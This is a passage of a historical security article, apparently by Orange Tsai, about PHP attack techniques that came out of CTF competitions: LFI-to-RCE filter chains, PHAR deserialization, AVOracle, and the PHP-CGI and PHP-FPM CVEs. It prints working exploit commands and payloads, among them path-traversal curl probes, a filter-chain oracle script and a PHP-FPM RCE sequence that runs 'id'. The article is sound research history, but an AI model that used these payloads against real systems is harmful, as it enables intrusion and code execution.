"wildcards in DOS Devices" to brute-force randomized filenames character-by-character. This technique quickly made its way into several popular web applications, including PHPCMS [43] and DedeCMS [44] as two notable examples. Attackers can use this trick to reveal sensitive paths - like backup files, session names, and even the admin portal - by simply checking whether certain paths exist or not! --------------------[ Brute-forcing the SESSION Path !]-------------------- Base URL: http://phpcms/api.php?op=creatimg&txt=1337&font=*PATH* | v +-----------------------+ | Current prefix = "" |<------------+ +-----------+-----------+ | | | +-----------v-----------+ | +------------> | Try next character: C | | | +-----------+-----------+ | | | | | v | | +----------+----------+ | | | | | | +-----+-----+ +-----+----+ | | | No image | | Image OK | | | +-----+-----+ +-----+----+ | | | | | | v v (prefix += C) | +--------------+ +---------------+ $ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_A<" # [--] $ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_B<" # [--] $ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_C<" # [OK] $ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_CA<" # [--] $ curl "${URL}&font=../../../../../../../../xampp/tmp/sess_CB<" # [OK] [...] $ curl "${URL}&font=[...]/tmp/sess_CBHRVOFTMP41BIOV02VPSGSUP7" # [OK] --------------------------------------------------------------------------- Also, Alternate Data Streams (ADS) on NTFS is another feature hackers love to abuse. A classic trick is using a special stream to turn "arbitrary file writes" into "arbitrary directory creation" [45]. One particularly memorable combo is leveraging this trick to create the missing `@@plugin_dir` directory, thereby reviving the MySQL UDF attack chain! ---------------------[ Revive the MySQL UDF Attack! ]---------------------- C:\Users\Orange> ver Microsoft Windows [Version 10.0.19042.631] C:\MySQL\lib> dir plugin File Not Found C:\MySQL\lib> mysql -uroot -e mysql> SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION' ERROR 3 (HY000): Error writing file [...] (Errcode: 22) C:\MySQL\lib> dir plugin 04/21/2025 06:21 PM <DIR> . 04/21/2025 06:21 PM <DIR> .. --------------------------------------------------------------------------- Given that most of these quirks are rooted in Microsoft's attempts to maintain backward compatibility, websites running on Windows are basically playing on hard mode. Even the WorstFit Attack [46] @splitline and I published last year has stemmed from a technical debt that Windows has carried for over twenty years - all just to support legacy ANSI encoding - but we'll dive deeper into that later! ------[ 3.2 - Let's Make Windows Defender Angry! Although we've talked plenty about Windows' weird behaviors, I guess if you choose Microsoft, you'll just have to live with it. However, what's even more surprising is that sometimes even Windows' built-in antivirus can sneak up and hit you with a sucker punch! And that's exactly what happened with AVOracle - an ingenious new technique from @icchy that can turn literally any scan result into a side-channel oracle! This technique first showed up in a challenge called "Gyotaku The Flag" [47] at WCTF 2019. Since this is the second time we're mentioning WCTF, I think it's worth giving a bit more context here. Unlike traditional CTFs, WCTF uses a special "Belluminar" format [48]. The organizer invited the world's top 10 CTF teams, asked each team to create two challenges, and had them compete by solving each other's problems. And just like the name "Belluminar" suggests - besides "Bellum" (Latin for "war"), the more important part was the "Seminar" afterward. Each team had to give a detailed presentation explaining their challenge design, which was then evaluated by judges and other teams. Since WCTF offered the largest prize pool at the time, figuring out "how to design a good challenge" naturally became the key to winning the competition. Designing a challenge that's fair - but not frustrating - and still fun enough to impress the world's top CTF players (including industry experts, pro hackers, and even multiple-time Pwn2Own champions) is way harder than it sounds. But that's exactly why so many groundbreaking hacking techniques made their debut at WCTF. For instance, the ever-popular "Semicolon Trick" [49] actually originated from a challenge I made for WCTF 2016, and was only later officially unveiled at Black Hat USA 2018! Though @icchy made a small slip-up while designing his WCTF challenge, it didn't take anything away from its novelty. Later that same year, he brought the technique back using PHP at TokyoWesterns CTF - proving that AVOracle wasn't just an edge case; instead, it was indeed a new attack that could adapt to different scenarios! => Here's what @icchy shared about how many teams solved his WCTF challs --------------------------------------------------------------------------- - 2017: 7dcs (Crypto, Web, Reverse, Pwn) -> 0 solved - 2018: f (Forensics, Reverse, Web) -> 1 solved - 2019: Gyotaku The Flag (Web, Misc) -> **everyone solved** The entire AVOracle stems from how Windows Defender scans for malware - it automatically emulates anything that "looks like JavaScript." Especially since Defender evaluates the file as a whole, if a file includes both "attacker-controlled" and "unknown" parts, the attacker can leverage the controlled part to influence how Defender perceives the unknown section. What's worse, if Defender flags the file as malicious, it'll automatically delete it - letting attackers turn this file deletion into a side-channel oracle to reveal the file content! => Let's pretend the following file is a valid EICAR so we don't make Windows Defender *angry*! ;) +-------------------------------------------------------------------------+ => [1] Defender detects the EICAR string $ cat eicar.com EICAR-STANDARD-ANTIVIRUS-TEST-FILE! $ ./mpclient eicar.com [...] EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified. |-------------------------------- [ next ] -------------------------------| => [2] Defender kindly *emulates* your file as JScript $ cat sample.txt var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE" eval(mal + "!") $ ./mpclient sample.txt [...] EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified. +-------------------------------------------------------------------------+ So, let's say you can store a secret in the SESSION file, but there's no way to read it directly. Crafting the following structure gives you the ability to check whether the first character of the secret is an `A`: if it is, the file gets deleted; otherwise, it stays. I think this technique is super creative - and in some ways, it's a perfect example of how CTF helps push the boundaries of cybersecurity! => Defender *emulates* the JavaScript inside +--------------------------------------------------------------+ | Crafted HTML File | |--------------------------------------------------------------| | [ Arbitrary Padding / Junk Data ] | | | | +----------------------------------------------------------+ | | | <script> | | | | var c = document.body.innerHTML[0] == 'A' ? '!' : 0; | | | | eval("EICAR-STANDARD-ANTIVIRUS-TEST-FILE" + c) | | | | </script> | | | +----------------------------------------------------------+ | | | | +----------------------------------------------------------+ | | | <body> | | | | [ Leaked Secret / Sensitive Data ] | | | | </body> | | | +----------------------------------------------------------+ | | | +--------------------------------------------------------------+ ----[ 4. New Attacks and Techniques Born in CTFs We've already talked about tons of PHP-related tricks, but honestly, most of them didn't originally come from CTFs. On the other hand, we've introduced brand-new attacks born in CTFs - but again, they weren't exactly PHP-specific. So, are there any new attacks out there that are both totally PHP-specific and originated from CTFs? I think this chapter perfectly captures where these two worlds intersect. Let's see how the CTF community pushes technology forward in its unique way, breathing new life into the following attack surfaces! ------[ 4.1 - Twenty Years of Evolving LFI to RCE "How can a simple LFI be turned into RCE?" This question has bothered the web security community for almost twenty years, and I think we'd all agree - solving this long-standing problem is probably one of CTF's greatest contributions to PHP security! --------------------------[ LFI Never Gets Old ]--------------------------- <?php include( $_GET['page'] ); --------------------------------------------------------------------------- Looking back at the twenty-year journey from LFI to RCE, I think we can generally divide it into two approaches: 1. How to find more universal and attacker-controllable files on the server. 2. How to bypass restrictions using built-in URL Protocols and Wrappers. Since the success of an attack directly depends on what files exist on the target system, early LFI hackers focused heavily on finding better ways to control file contents - like poisoning server logs through HTTP requests or leveraging environment variables exposed by `procfs`. Among all these tricks, the most classic one has to be abusing PHP's file upload mechanism. When PHP processes the upload requests, it would temporarily store the content on the filesystem. Even though this timing window is extremely short, figuring out how to exploit LFI within such a tiny window became quite a hot topic for early hackers. A bunch of classic tricks emerged from this challenge, such as: - [ PHP LFI to RCE via RFC1867 ] - [50] => @gynvael combined the previously mentioned DOS wildcard tricks, showing how to turn "LFI on Windows" into RCE. - [ LFI with PHPINFO() Assistance ] - [51] => Brett Moore leveraged the fact that `phpinfo()` prints temporary filenames. By significantly increasing the server's load, he managed to include the file before it got deleted, proving how "LFI with PHPINFO" can lead to RCE. As for the second approach, since exploiting LFI in real-world scenarios often comes with additional restrictions - such as a fixed `.php` file extension - though early hackers could still bypass these with overly long paths or NULL-byte truncation, PHP gradually patched these tricks, forcing hackers to start exploring built-in URL Protocols and Wrappers to bypass such constraints. Some classic examples include: - [ `php://filter` Base64 in Piwik ] - [52] => In his bug, Stefan Esser pointed out that you could bypass content restrictions by abusing the loose Base64 decoding in the `php://filter` wrapper. - [ CODEGATE 2015: Owlur Challenge ] - [53] => the challenge leveraged the `zip://` wrapper to circumvent the fixed `.php` requirement. ================================= | Level 0 - The LFI Arms Race | ================================= When it comes to the LFI arms race, I guess we can start with my "One Line PHP Challenge" [54]. While preparing for HITCON CTF 2018, I wanted to bring the competition back to its basics - focusing purely on cool tricks rather than stacking tedious tasks just to annoy participants. And that's how "One Line PHP" was born: ------------------------[ One Line PHP Challenge ]------------------------- <?php ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__); --------------------------------------------------------------------------- The whole idea behind the challenge came from a small upload-progress feature that @Ryat mentioned in the comment of his SESSION Data Injection report [55]. Inspired by that trick, I decided to blend it to LFI - merging the two entirely different approaches we discussed earlier into one single challenge! I'd say "One Line PHP" turned out to be a successful CTF challenge. HITCON CTF served as a qualifier for the "Hacker World Cup" DEFCON CTF that year, drawing over 1800 teams worldwide, yet only three teams managed to crack it. The challenge then also sparked a whole new trend to find more generic ways to leave temporary files behind, and inspired numerous later CTF challenges, including: - 2018/12 - The Return of One Line PHP Challenge (RealWorld CTF Final) => [ By the way, I was sitting right there as a finalist, [56] watching (the return of) my challenge go live on stage! ] - 2019/12 - Includer (36C3 CTF) [57] - 2021/07 - 1linephp (0CTF/TCTF) [58] - 2021/10 - 2linephp (Balsn CTF) [59] - 2021/12 - Includer's Revenge (hxp CTF) [60] If you're interested in the technical details behind them, I highly recommend checking out the article "One Line PHP: From Genesis to Ragnarok" [61], by @Ginoah and @Bookgin! ============================== | Level 1 - The End of LFI | ============================== As we've seen, up until a few years ago, the entire LFI scene was still largely focused on finding more generic ways to plant temporary files. But everything changed thanks to one wild idea from @loknop [62]. While he was tackling the "includer's revenge," he started thinking: since we can already manipulate file contents by `php://filter`, why not just chain filters together to turn any file into a PHP backdoor? In fact, his inspiration came from an unintended solution [63] discovered by @gynvael. During Insomni'hack CTF 2018, @gynvael managed to find a way to transform the `/flag` file into a viewable image by chaining multiple PHP filters. Although the challenge at that time had nothing to do with LFI - and the trick itself wasn't complicated at all - it unexpectedly inspired @loknop several years later, becoming yet another unintended solution in an LFI scene! His idea mainly built around two PHP filters: - [ Removing ]: The `convert.base64-decode` filter is tolerant of its input, and "skips invalid characters." - [ Prepending ]: The `convert.iconv.CSISO2022KR` encoding "adds a fixed string" to the beginning. By applying these two filters along with various encoding combinations, he was ultimately able to insert arbitrary content at the very beginning of a file - such as, prepending a letter `C`: +-------------------------------------------+ | [Stage 1] Original File Content | +-------------------------------------------+ | root:x:0:0:root:/root:/bin/bash [...] | +---------------------+---------------------+ | Prepend Charset Header v +-------------------------------------------+ | [Stage 2] convert.iconv.UTF8.CSISO2022KR | +-------------------------------------------+ | \x1B$)Croot:x:0:0:root:/root:/bin/bash | +---------------------+---------------------+ | Remove invalid Base64 chars v +-------------------------------------------+ | [Stage 3] convert.base64-decode | +-------------------------------------------+ | 0aba 28b7 | 1d34 ae8a | 2dfe ba28 | b7f6 | +---------------------+---------------------+ | Encoded result v +-------------------------------------------+ | [Stage 4] convert.base64-encode | +-------------------------------------------+ | *C*rootx00root/root/bin/bash [...] | +-------------------------------------------+ Once @loknop fired the opening shot, the Infosec community started actively filling in the remaining puzzle. First, @wupco quickly compiled a complete Base64 mapping table [64]; then @remsio took a step further, exploring how this technique could be leveraged in deserialization attacks [65] along with a detailed writeup. Thanks to these amazing hackers, exploiting LFI no longer requires any actual "Local File" at all. Even if the entire filesystem is read-only, it still can't stop a LFI from escalating into RCE. But what impressed me most was that, while everyone else was still focusing on refining temporary-file tricks, @loknop took a completely different approach - diving deep into filter chains until he finally conquered this long-standing problem. For that, I think he deserves some serious respect! ============================== | Level 2 - The End of AFR | ============================== And just when everyone thought solving one tough problem was impressive enough, @hashkitten quickly took filter chains to another whole new level. He created what might be the shortest PHP challenge ever: -----------------------------[ minimal-php ]------------------------------- <?php file($_POST[0]); --------------------------------------------------------------------------- At first glance, you might think it's just a typical Arbitrary File Read (AFR). But the real twist here was figuring out how to exploit it with no output at all. Unsurprisingly, nobody managed to solve this challenge during the competition. It wasn't until @hashkitten revealed his solution [66] that everyone realized they needed to completely redefine what they understood about filter chains. The entire attack was built around another idea - since filter chains can already *filter* the content (just like Base64 ignores invalid characters), could there be any way to leak the result as well? Actually, by intentionally hitting PHP's memory allocation limit, @hashkitten was able to trigger an error! To demonstrate that his idea worked, he came up with two brand-new filters: - [ Filtering ]: The `dechunk` filter removes an entire line if it doesn't start with hexadecimal. - [ Amplifying ]: The `convert.iconv.UCS-4LE` encoding expands the string length by four times. So by first applying the `DECHUNK` filter, and then amplifying the result over and over, you can turn PHP's behavior into a side-channel oracle - to figure out whether the file's first character is within the valid hexadecimal range or not! +---------------------[ Use PHP Error as an Oracle! ]---------------------+ => [1] Preparing the Oracle filter chains... $ cat check-first-char-is-hex.php <?php file(implode('|', [ // [*] becomes empty if the first byte is not in hexdigits 'php://filter/dechunk', // [*] repeat many times as needed 'convert.iconv.L1.UCS-4LE', 'convert.iconv.L1.UCS-4LE', 'convert.iconv.L1.UCS-4LE', // [...] // [*] append the target 'convert.iconv.L1.UCS-4LE/resource=' . $argv[1] ])); |-------------------------------- [ next ] -------------------------------| => [2] the first byte of `passwd` is not in hexdigits $ php check-first-char-is-hex.php /etc/passwd PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 94371840 bytes) in [...] |-------------------------------- [ next ] -------------------------------| => [3] no error means the first byte of `hostname` is in hexdigits $ php check-first-char-is-hex.php /etc/hostname && echo ok ok +-------------------------------------------------------------------------+ Once the general idea took shape, the next step was building a complete character-mapping table and iterating through the entire file byte by byte. This process involved even more sophisticated filter tricks - such as swapping byte order with different endianness, or fine-tuning encoding combinations to get more precise results. Honestly, just looking at @hashkitten's code gives me a headache; I can't imagine how much time he spent grinding through this! And once that barrier fell, the entire community jumped right in, pushing this attack even further. First, @remsio released his own tool [67]. Then @cfreal stepped up, not only adding custom suffixes [68], but also sprinkling some serious magic [69] to perfect the attack. With all these efforts combined, I think we can finally say we've conquered "Blind AFR" once and for all in PHP! ============================================ | Level Max - Filter Chain ~After Story~ | ============================================ Aside from conquering LFI and Blind AFR, filter chains had a few more fun twists. While experimenting with encoding combinations, @cfreal somehow discovered a new memory corruption bug in the GNU C Library. He later published a fantastic series of articles [70], detailing how to achieve RCE with just a limited out-of-bounds write. And all these developments eventually led the PHP community to consider "limiting the number of Filter Chains" [71], effectively bringing the entire issue to a close. Looking back at this twenty-year evolution of LFI - from the early days when the Infosec community was all about finding better ways to control file contents, to CTF players exploring generic methods to leave temporary files behind, and finally to @loknop and @hashkitten shifting everyone's attention back to PHP filters - this must be a truly epic journey, shaped by the CTF, PHP, and Infosec communities all together! ------[ 4.2 - PHAR Deserialization As more and more people realized how dangerous deserialization could be, developers became super cautious with `unserialize()`, causing such issues to gradually fade away. But what if today, we could break the assumption that "only `unserialize()` can trigger an attack." Could we make deserialization great again? Well, I think "PHAR Deserialization" coming up next is probably the best showcase - it can turn practically any *file operation* straight back into a deserialization attack! And I think I can proudly say that I was the first person to bring this technique to the world (correct me if I'm wrong). This technique originally appeared in my challenge at HITCON CTF 2017 [72]. However, it seems this trick stayed mostly within the CTF community [73] and didn't really gain broader attention. Of course, I know Sam Thomas also presented this attack surface [74] at Black Hat USA 2018 (I was literally sitting in the audience right there!). You wouldn't believe how shocked I was! We chatted a bit afterward and realized we'd both independently discovered the same idea. Honestly, that made me respect Thomas even more, because while I'd just used this trick for fun in CTFs, he took it much further by exploring its real-world impacts and successfully exploiting it in well-known projects like Typo3, WordPress, and even TCPDF. It was Thomas who really put this trick on the map, so please give him a big round of applause, too! But anyway - please allow me to include "PHAR Deserialization" in this section, and share the story! => I'd almost forgotten about this IRC log [75] XD --------------------------------------------------------------------------- [13:14] <Beched> omg is this common knowledge? =) [13:14] <Beched> where did you learn that PHP deserializes metadata in phars? [13:14] <Beched> somehow no one knew that among us [13:27] <orange_> I read the PHP source code in my free time [13:27] <orange_> I think both tricks are not seen on the Internet [13:27] <orange_> That's why nobody solve it ! :( [13:38] <Beched> yeah that's cool [13:38] <Beched> turning arbitrary read into unserialize --------------------------------------------------------------------------- ============================= | Level 0 - What is PHAR? | ============================= Just like JAR files in Java, "PHAR" is a PHP-specific archiving format designed for easier deployment. While designing this format, PHP also included a dedicated field to store the file's own metadata. And to make sure deployed applications could easily access this information later on, the metadata itself is also stored in a *serialized format* - which, as it turns out, opened a whole new door for attackers. So, how can we exploit this serialized field? Let's reuse the "Blind AFR" from earlier, but this time we'll change the function from "reading a file" to something even more restricted - checking if a file exists: => Try harder: Blind Arbitrary File-Check --------------------------------------------------------------------------- <?php file_exists( $_GET['file'] ); --------------------------------------------------------------------------- At first glance, it might seem like filter chains could help again. However, since `file_exists()` literally only checks if a file exists without actually processing its content, you can't apply the previous side-channel oracle here. But here's another twist - in order to conveniently use PHAR files within PHP scripts, PHP introduced the `phar://` built-in wrapper back in PHP 5.3. And whenever PHP parses a PHAR file with this protocol, it automatically deserializes the metadata stored inside. This means nearly every file operation in PHP could potentially become another entry point for deserialization! As for exactly how we can escalate this from PHAR deserialization all the way to remote code execution, there are still some practical challenges to overcome - such as figuring out how to deliver a malicious PHAR file onto the remote server. (Perhaps our efforts in the LFI Arms Race weren't wasted after all!) This heavily requires the attacker's creativity and their familiarity with the target environment. I believe Thomas already showed an impressive RCE in TCPDF during his talk. Here, I'd like to introduce another brilliant case involving mPDF! ============================================== | Level Max - Laravel (w/ mPDF) Kill Chain | ============================================== Just like TCPDF, mPDF is another widely used library when you need to convert HTML into PDFs. And during the conversion process, mPDF performs file operations on image URLs as well - meaning attackers can easily reuse the same technique to trigger PHAR deserialization: ----------------------------[ So PHAR so Good! ]--------------------------- <img src="phar://path/to/image.jpg" /> --------------------------------------------------------------------------- The issue was first discovered [76] back in 2019 and promptly got patched. However, @Cyku quickly found another way to trigger the vulnerability and provided a full exploit [77] based on a real-world scenario! He also discovered that mPDF actually caches embedded Data URIs onto the remote filesystem. By exploiting the predictable randomness of the cached filenames, he was able to smuggle a crafted PHAR file - then combine it with Laravel's built-in POP chains - to finally achieve RCE! ------------------------[ Exploit mPDF All in One! ]----------------------- <style> background: url(data:image/jpeg;base64,HERE-IS-PHAR-PAYLOAD-IN-BASE64); </style> <img src="#" ORIG_SRC="phar:///tmp/mpdf/_tempCSSidata42_0.jpeg/a.jpg"/> --------------------------------------------------------------------------- The PHAR mechanism really opened up a whole new era of PHP deserialization. As more researchers got involved, this attack surface gradually expanded to cover more applications, libraries, and even PHP frameworks. Ultimately, this forced the PHP team to disable automatic deserialization in the PHAR protocol starting from PHP 8.0 [78]. I'm sure that was fantastic news for both Thomas and me - because it meant that our "security research" actually did something positive in the real world, and made PHP a little bit safer! :) ----[ 5. Participants Also Popped 0days When we talk about "an awesome CTF," I'm not sure which name immediately pops into your mind. In my opinion, while high-quality challenges and experienced organizers are important, it's the participants themselves who truly make a CTF awesome. I believe we've already shown how the CTF community works: participants can not only learn new tricks straight from challenge authors, but authors themselves can also discover their own blind spots through unintended solutions. Both sides push each other forward, working together to advance the entire Infosec community! But sometimes, this kind of interaction can get a bit "out of hand." We've seen plenty of cases where the unintended solutions submitted by CTF players turned out to be actual 0days - that happened repeatedly in Chromium [79], VirtualBox [80], and even CS:GO [81]. Sometimes, even the CTF authors expect players to solve the challenges using unknown 0days. As far as I know, certain CTFs also have a special "Zajebiste" category, specifically for these challenges involving 0days or something very close to it! So, in this section, let me introduce two classic examples that you shouldn't miss when talking about PHP 0days born in CTFs! ------[ 5.1 - Hack the Scoreboard! Whenever I talk to people outside the Infosec community about hacking competitions, they often jokingly say, "Come on, real hackers wouldn't follow the rules - they'd just hack and change their scores, right?" Well, to be fair, they're actually right! There's indeed plenty of history where scoreboards got hacked (and to be honest, I've contributed a few myself). But if we're talking about the most legendary case, I'd say it's definitely the PHP-CGI 0day discovered by Eindbazen team - right there on a CTF scoreboard [82]! During Nullcon HackIM CTF, the organizers directly used a CGI environment provided by their cloud provider. Since the CGI-spec itself is inherently vulnerable to argument injection by design, it became even more unfortunate (or fortunate - choose your side) when PHP developers forgot about this and completely removed the defensive logic. These coincidences combined ultimately allowed Eindbazen team to control PHP's command-line arguments directly through the query string. For example, they can simply append a `?-s` at the end of the URL to leak any PHP source code on the remote server - and escalating it further into full RCE is just as trivial! This vulnerability impacted a huge number of websites back then - especially those web hosting providers heavily relying on CGI for privilege isolation and PHP version switching. And because this vulnerability was so ridiculously easy to exploit, it quickly became notorious worldwide. Even Facebook - famous for its PHP-based infrastructure at the time - put an Easter egg right on its homepage (linking the URL to their security engineer recruitment page) to acknowledge this vulnerability, too! ----------------------[ Easter Egg on facebook.com! ]---------------------- $ curl https://www.facebook.com/?-s <?php include_once 'https://www.facebook.com/careers/ department?dept=engineering&req=a2KA0000000Lt8LMAS'; --------------------------------------------------------------------------- This vulnerability was eventually patched and assigned CVE-2012-1823. The PHP team solved this issue by checking that the query string can't start with a hyphen `-` (0x2D). This fix kept PHP safe for about 12 years - until I broke it again last year. => The patch of CVE-2012-1823: PHP-CGI Argument Injection --------------------------------------------------------------------------- if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULL) { /* ... omitted ... */ for (p = decoded_qs; *p && *p <= ' '; p++) {/* skip leading spaces */} if (*p == '-') { skip_getopt = 1; } --------------------------------------------------------------------------- While revisiting PHP's source code, I found that by leveraging the Windows "BestFit" feature, I could completely bypass this fix. "BestFit" is basically a backward-compatibility feature introduced by Windows. It tries to minimize garbled characters through a series of weird character mappings when dealing with older ANSI APIs (thanks a lot, Microsoft). This mechanism also came with some strange side effects - for example, you can use the infinity symbol `∞` (U+221E) to represent the digit `8` (U+0038) right on the command line: => Microsoft maps the characters to their "lookalikes" --------------------------------------------------------------------------- C:\Users\Orange> type Hello.c int main(int argc, char* argv[], char* envp[]) { printf("Hello %s!\n", argv[1]); } C:\Users\Orange> cl.exe Hello.c Microsoft (R) C/C++ Optimizing Compiler Version 19.29.30140 for x64 Copyright (C) Microsoft Corporation. All rights reserved. [...] C:\Users\Orange> Hello.exe World Hello World! C:\Users\Orange> Hello.exe √π⁷≤∞ Hello vp7=8! --------------------------------------------------------------------------- So, by simply replacing the originally blocked hyphen (0x2D) with a "soft hyphen" (0xAD), the original attack could be revived effortlessly! This bypass affects practically every PHP version running on Windows - even a default XAMPP installation was vulnerable. This vulnerability has also earned its CVE number (CVE-2024-4577). If you're curious about the technical details behind it, you should definitely check out WorstFit Attack [46] - a joint work with the brilliant @splitline! I think this bypass also echoes what we mentioned earlier about "cross-application" - security is never confined to just one dimension. Sometimes, shifting your perspective a bit can magically turn those seemingly rock-solid protections into just a piece of cake! ;) ------[ 5.2 - From CTF to Real World! For a long time, CTFs have carried a kind of *original sin* - being criticized for putting too much emphasis on tricky techniques. As the technical bar kept rising, some challenges grew a bit overly contrived, giving people the impression that CTFs were becoming "disconnected from reality." That's exactly what gave birth to competitions like Real World CTF - aiming to ground every challenge in real-world applications and bring focus back to practical, realistic hacking scenarios! At Real World CTF 2019, the organizers set up a challenge using Nginx + PHP, expecting players to bypass the built-in XSS Auditor in the latest Chrome to steal the admin's cookie. Obviously, this was a challenge focusing on frontend security - but while messing around with the server, @d90pwn noticed something unusual happening on the backend. Specifically, he found that if the URL contained a newline, the server would unexpectedly respond with additional internal information. --------------------------[ PHP-FPM is Bleeding? ]------------------------- $ curl http://orange.local/test.php/AAAAAAAAA string(10) "/AAAAAAAAA" $ curl http://orange.local/test.php/AAAAA%0AB string(7) "TH_INFO" <= WTF!? --------------------------------------------------------------------------- Although @d90pwn didn't manage to crack this challenge during the competition, his post-event analysis (along with @neex and @beched) unexpectedly exposed a serious vulnerability in PHP-FPM. The entire issue started from an unintended behavior in Nginx - while processing URLs containing newlines, Nginx mistakenly passed an empty `PATH_INFO` to the backend PHP-FPM. Meanwhile, PHP-FPM always assumed that variable could never be empty, causing its internal logic to miscalculate the offset. This mistake eventually made the `path_info` point just before its intended buffer - giving attackers a chance to zero out that location! => CVE-2019-11043: A Buffer Underflow leads to a single NULL-byte write! --------------------------------------------------------------------------- char *env_path_info = FCGI_GETENV(request, "PATH_INFO"); int pilen = env_path_info ? strlen(env_path_info) : 0; if (apache_was_here) { path_info = script_path_translated + ptlen; } else { // [1] `path_info` *UNDERFLOWS*, pointing before its intended buffer path_info = env_path_info ? env_path_info + pilen - slen : NULL; } old = path_info[0]; path_info[0] = 0; // <--- [2] single NULL-byte write! --------------------------------------------------------------------------- But how could a single NULL-byte write lead to an RCE? Here's the ingenious part: @neex skillfully abused PHP-FPM's inetrnal memory allocation for CGI variables. By overwriting the LSB (least significant bit) of the `pos` field in the structure to `0`, he was able to overwrite existing variable contents on the subsequent write. Combined with some Hash Table magic, he successfully crafted a pure data-only attack - performing full RCE without any memory read/write primitives at all [83]! Honestly, the entire exploit was incredibly neat and packed with details. Looking back through PHP's history, it's extremely rare to see vulnerabilities that can directly cause RCE without any dangerous functions or scripts at all. On top of that, this bug was also hard to uncover through traditional fuzzing. To trigger it, you had to not only leverage a specific edge case in Nginx, but also deal with PHP's internal contiguous memory allocations, making it way harder for tools like ASAN to catch - all of these truly make it a remarkable vulnerability in PHP history! So, without something like the CTF scene - where groups of hackers intensively focus on seemingly minor details through trial and error - who knows how long this bug would've stayed hidden? +---------------------[ Exploit PHP-FPM Like a Boss! ]--------------------+ => [1] a minified payload to trigger the NULL-byte write! $ curl http://orange.local/index.php/%0A$(printf %032d)?$(printf %01759d) [...Switching to GDB] Breakpoint 1, init_request_info () at ./sapi/fpm/fpm/fpm_main.c:1222 1222 path_info[0] = 0; 1: /x path_info = 0x55a371abfd60 2: /x request.env.data = 0x55a371abfd60 |-------------------------------- [ next ] -------------------------------| => [2] the structure *BEFORE* the write (gdb) p *request.env.data $1 = { pos = 0x55a371abf731, end = 0x55a371ac06b8, next = 0x55a371abe5b0, data = "" } |-------------------------------- [ next ] -------------------------------| => [3] let's write! (gdb) next [...] |-------------------------------- [ next ] -------------------------------| => [4] the `pos` *AFTER* the write (gdb) p *request.env.data.pos $2 = 0x55a371abf700 |-------------------------------- [ next ] -------------------------------| => [5] let's kick off the real payload $ curl "http://orange.local/index.php/PHP_VALUE%0Aerror_log=/tmp/a;;;;[..]" $ curl "http://orange.local/index.php/PHP_VALUE%0Ainclude_path=/tmp;;;[..]" $ curl "http://orange.local/index.php/PHP_VALUE%0Aauto_prepend_file=a;[..]" [...] $ curl "http://orange.local/index.php?a=id" uid=33(www-data) gid=33(www-data) groups=33(www-data) +-------------------------------------------------------------------------+ --[ Epilogue Honestly, tackling such a huge topic was incredibly challenging - especially deciding what to cover and worrying whether I'd missed even cooler stories. Every time I revisited a finished section, I still felt something was missing, and ended up rewriting the whole thing from scratch again. The entire process involved countless revisions, and there were so many moments I nearly gave up - but thankfully, I made it through in the end! I'd also like to give special thanks to Henry, NiNi, and Raptor for giving numerous awesome suggestions to help polish this article - thank you so much! Though this article revisits tons of seemingly old techniques, I think it's meaningful - they may be old, but they're absolute gold (and still usable today)! It's just like you can't avoid studying the Vudo Tricks [84] while learning Doug Lea's malloc, or revisiting the textbook-level Smashing The Stack [85]. These techniques became legendary exactly because the ideas behind them were way ahead of their time, inspiring generations of hackers along the way! Of course, I believe there must be even better ways to explore this topic. Everyone brings their own life experiences, and writing with complete objectivity just isn't possible. But within the limited time and space, I've tried my best to capture my own "flavor," and highlight the stories that I believe deserve to be passed on! ----[ > Honorable Mention Of course, there are still lots of brilliant PHP techniques that I couldn't squeeze into this article, so let me at least quickly give them a *shout-out* here! - I absolutely love the "PHP Security Advent Calendar" [86] released by RipsTech - every single challenge in there is pure gold! - Exploiting GMP deserialization type confusion [87] to modify script-level variables through `objects_store` is, in my opinion, a perfect blend of the Web and Binary worlds! - Leveraging type confusion in `phpinfo()` to steal SSL private keys [88] is quite fun. - Exploiting inconsistent UTF-8 length counting [89] is definitely an eye-opening technique! - Attacking the MySQL client-side is another fascinating approach - such as triggering memory corruption [90] via a malicious MySQL server, or leveraging PHAR deserialization [91] again. - All those creative tricks for restricted environment jailbreaks, like abusing `ini_set()` [92] or `imap_open()` [93]. - And of course, so much more... ----[ > Hats off to the CTF Community From its beginnings as a kind of subculture, to having thousands of competitions worldwide, and even one-vs-one livestream battles [94] today, CTF has undoubtedly become something pretty cool for many young hackers. Of course, CTF itself has some issues that get criticized from time to time - so even if you never play CTFs, that doesn't mean you can't be a great hacker. But things aren't always black-and-white: whether it's Binary Golfers [95] crafting ever-more elegant code, gamers using ACE (Arbitrary Code Execution) to speedrun straight to the game credits [96], or even pulling off remote code execution on a 25-year-old Game Boy Color [97] - it's exactly because these challenges themselves are so fascinating that they draw more people in, pushing technologies and skills to their absolute limits! I believe every generation has its own legendary stories. Whether it's "taking over the organizer's crypto backdoor," anonymous fork bombs, horrible-yet-effective binary patches, or those CTF dramas; whether it's ingenious techniques born in CTFs, like Eye-Grepping binaries [98], the dozens of "House of" techniques, or the insane arms race in frontend security; or those hilarious stories and urban legends - like DDTEK's obsession with sheep, observing tomcr00se up close, or even *accidentally* hacking into another team's laptop... Just like the amazing stories shared by @psifertex [99], I'm sure there must be more - I'm really looking forward to seeing more people step up and share their own epic CTF adventures! :) Also, hats off to those who've shared all the ups and downs throughout my CTF journey - cheers to HITCON CTF and to 217! > jeffxx, atdog, dm4, lucas, winesap, shik, peter50216, jery, > cebrusfs, ddaa, lays, angelboy, david942j, meh, lyc, hh, lsc, > and our Big Alan! --[ References [1] Orange Tsai, https://blog.orange.tw/about/ [2] "2021 Top Routinely Exploited Vulnerabilities" https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a [3] "SECCON CTF 2014: QR (Easy) Write-up" https://yous.be/2014/12/07/seccon-ctf-2014-qr-easy-write-up/ [4] Lays, "Google CTF Final 2017 - Slot Machine" https://blog.l4ys.tw/blog/google-ctf-final-2017-slotmachine [5] Matt Borgerson (The Order of the Overflow) "Port of 